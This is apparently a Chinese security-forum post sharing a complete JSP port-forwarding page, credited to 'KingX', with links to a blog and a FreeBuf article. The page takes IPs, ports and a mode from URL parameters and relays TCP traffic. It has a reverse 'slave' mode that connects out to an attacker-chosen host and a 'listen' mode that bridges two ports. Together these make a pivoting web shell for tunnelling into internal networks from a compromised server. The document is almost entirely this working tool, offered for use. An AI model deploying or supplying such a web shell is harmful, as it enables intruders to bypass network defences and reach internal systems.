jsp版本端口转发

<%@page pageEncoding="GBK"%><%@page import="java.io.*"%><%@page import="java.util.*"%><%@page import="java.nio.charset.*"%><%@page import="javax.servlet.http.HttpServletRequestWrapper"%><%@page import="java.net.*"%><%/*code by KingX*/class KPortTran {    public void listen(String port1, String port2) {        ServerSocket listenServerSocket = null;        ServerSocket outServerSocket = null;        try {            listenServerSocket = new ServerSocket(Integer.parseInt(port1));            outServerSocket = new ServerSocket(Integer.parseInt(port2));        } catch (NumberFormatException e) {                     } catch (IOException e) {        }        Socket listenSocket = null;        Socket outSocket = null;        try {            while (true) {                  listenSocket = listenServerSocket.accept();                outSocket = outServerSocket.accept();                new tranThread(outSocket, listenSocket).start();                new tranThread(listenSocket, outSocket).start();                Thread.sleep(200);            }        } catch (Exception e) {       }    }     public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {        InetAddress src = InetAddress.getByName(srcIP);        InetAddress dest = InetAddress.getByName(targetIP);        int p1 = Integer.parseInt(port1);        int p2 = Integer.parseInt(port2);        new Server(src, p2, dest, p1, true);    }     public void tran(String srcIP, String port1, String targetIP, String port2)            throws NumberFormatException, IOException {        InetAddress src = InetAddress.getByName(srcIP);        InetAddress dest = InetAddress.getByName(targetIP);        int p1 = Integer.parseInt(port1);        int p2 = Integer.parseInt(port2);        new Server(src, p1, dest, p2, false);    }class tranThread extends Thread {    Socket in;    Socket out;    InputStream is;    OutputStream os;    public tranThread(Socket in, Socket out) throws IOException {        this.is = in.getInputStream();        this.os = out.getOutputStream();        this.in = in;        this.out = out;    }     private void closeSocket() {        try {            is.close();            os.close();            in.close();            out.close();        } catch (IOException e) {        }    }    @Override    public void run() {        super.run();        byte[] buffer = new byte[4096];        int len = -1;        try {            while (true) {                if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {                    break;                } else {                    os.write(buffer, 0, len);                    os.flush();                 }            }        } catch (IOException e) {            closeSocket();        } finally {            closeSocket();        }    }}  class Server extends Thread {    InetAddress src;    InetAddress dest;    int p1, p2;    boolean reverse = false;         public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,            int targetPort, boolean flag) {        this.src = srcIP;        this.dest = targetIP;        this.p1 = srcPort;        this.p2 = targetPort;        this.reverse = flag;        start();    }     @Override    public void run() {        super.run();        if (reverse) {            try {                Socket s = new Socket(src, p1);                Socket s2 = new Socket(dest, p2);                new tranThread(s, s2).start();                new tranThread(s2, s).start();                 while (true) {                    if (s2.isClosed() || s.isClosed()) {                        if (s2.isClosed()) {                            s2 = new Socket(dest, p2);                        }                        if (s.isClosed()) {                            s = new Socket(src, p1);                        }                        new tranThread(s, s2).start();                        new tranThread(s2, s).start();                    }                    Thread.sleep(1000);                }            } catch (IOException e) {            } catch (InterruptedException e) {            }         } else {            ServerSocket ss;            try {                ss = new ServerSocket(p1, 5, src);                 while (true) {                    Socket s = ss.accept();                    Socket s2 = new Socket(dest, p2);                    new tranThread(s, s2).start();                    new tranThread(s2, s).start();                }            } catch (IOException e) {                e.printStackTrace();            }        }    }}}%><%final String localIP = request.getParameter("lip");final String localPort = request.getParameter("lp");final String localPort2 = request.getParameter("lp2");final String remoteIP =request.getParameter("rip");final String remotePort =request.getParameter("rp");final String mode =request.getParameter("m"); KPortTran pt = new KPortTran();if (mode.equals("tran")) {    pt.tran(localIP, localPort, remoteIP , remotePort);}if (mode.equals("slave")) {    pt.slave(localIP, localPort, remoteIP , remotePort);}if (mode.equals("listen")) {    pt.listen(localPort, localPort2);}%>

http://kingx.sinaapp.com/?p=495

http://www.freebuf.com/articles/system/27122.html